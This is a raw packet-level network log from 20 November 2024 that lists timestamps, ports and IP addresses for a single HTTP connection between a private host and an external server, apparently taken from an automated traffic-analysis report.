Nov 20, 2024 07:56:45.880182028 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880196095 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880198956 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.880222082 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.880238056 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.880304098 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880314112 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880328894 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880338907 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880347013 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.880352974 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880367041 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880368948 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.880381107 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880392075 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.880394936 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880418062 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.880438089 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880439997 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.880448103 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880455017 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880485058 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.880584955 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.880640984 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880661011 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880671024 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880676985 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.880681038 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880696058 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880697012 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.880708933 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880721092 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.880721092 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880733967 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880739927 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.880747080 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880757093 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.880759954 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880773067 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880774975 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.880783081 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880791903 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.880798101 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880810022 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880811930 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.880822897 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880831003 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.880837917 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880850077 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.880868912 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.880902052 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880911112 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880932093 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880942106 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880944014 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.880955935 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880969048 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880971909 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.880980968 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.880990028 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.880994081 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.881007910 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.881010056 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.881027937 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.881045103 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.881068945 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.941133022 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.941152096 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.941174030 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.941185951 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.941205025 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.941215992 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.941226959 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.941241980 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.941241980 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.941247940 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.941272974 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.941272974 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.941287041 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965038061 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965126038 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965157986 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965245962 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965301991 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965310097 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965339899 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965351105 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965352058 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965368032 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965377092 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965382099 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965396881 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965398073 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965415001 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965425014 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965428114 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965428114 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965437889 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965440035 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965456009 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965456963 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965473890 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965475082 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965490103 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965495110 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965502977 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965511084 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965517044 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965528965 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965531111 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965547085 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965549946 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965559959 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965564966 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965570927 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965581894 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965600014 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965601921 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965611935 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965616941 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965622902 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965632915 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965643883 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965650082 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965662003 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965670109 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965673923 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965681076 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965691090 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965693951 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965704918 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965706110 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965715885 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965727091 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965730906 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965744019 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965744972 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965756893 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965764046 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965770006 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965785027 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965789080 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965802908 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965806961 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965817928 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965820074 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965827942 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965840101 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965842962 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965854883 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965857029 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965868950 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965893984 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965924978 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965939045 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965939045 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965950012 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965958118 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965960026 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965976000 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.965981960 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.965992928 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966006994 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966011047 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966017008 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966027975 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966036081 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966042042 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966053009 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966054916 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966068983 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966074944 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966088057 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966104984 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966110945 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966154099 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966167927 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966187000 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966202021 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966249943 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966270924 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966289997 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966303110 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966310978 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966320038 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966322899 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966336012 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966332912 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966348886 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966351986 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966363907 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966368914 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966373920 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966382980 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966383934 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966398001 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966403008 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966417074 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966439009 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966439009 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966449976 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966463089 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966470003 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966479063 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966486931 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966491938 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966506004 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966506958 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966519117 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966519117 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966535091 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966552019 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966661930 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966703892 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966720104 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966732979 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966739893 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966744900 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966756105 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966758013 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966769934 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966773033 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966780901 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966788054 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966795921 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966804981 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966809034 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966820955 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966824055 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966839075 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966841936 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966851950 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966854095 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966865063 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966872931 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966876984 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966891050 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966893911 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966907978 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966909885 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966919899 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966926098 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966936111 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966941118 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966958046 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966973066 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.966975927 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966988087 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.966996908 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.967001915 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.967011929 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.967021942 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.967039108 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.967091084 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.967094898 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.967112064 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.967124939 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.967128038 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.967137098 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.967143059 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.967153072 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.967159986 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.967175007 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.967190981 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.967201948 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.967206001 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.967211962 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.967226028 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.967231989 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.967236042 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.967247009 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.967247963 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.967261076 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:45.967266083 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.967282057 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.967295885 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:45.967331886 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:46.027055979 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.027076006 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.027089119 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.027131081 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.027146101 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.027172089 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.027179003 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:46.027183056 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.027189016 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.027236938 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:46.027251005 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:46.051306009 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.051393986 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:46.051412106 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.051424980 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.051440954 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.051450968 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.051457882 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:46.051465988 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.051479101 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.051481009 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:46.051481009 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:46.051491976 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.051500082 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:46.051508904 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:46.051512003 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.051527023 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:46.051528931 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.051538944 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.051544905 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:46.051553011 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.051563025 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:46.051565886 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.051573038 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:46.051575899 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.051588058 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:46.051594973 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.051606894 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.051606894 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:46.051625967 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:46.051637888 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:46.051670074 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.051680088 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.051691055 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.051704884 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.051716089 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.051723957 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:46.051729918 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.051733017 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:46.051743984 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.051752090 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:46.051757097 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.051767111 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:46.051772118 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.051775932 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:46.051785946 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.051795959 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:46.051800966 CET	80	49167	192.3.243.136	192.168.2.22
Nov 20, 2024 07:56:46.051803112 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:46.051821947 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:46.051835060 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:46.051896095 CET	49167	80	192.168.2.22	192.3.243.136
Nov 20, 2024 07:56:50.449640036 CET	80	49167	192.3.243.136	192.168.2.22
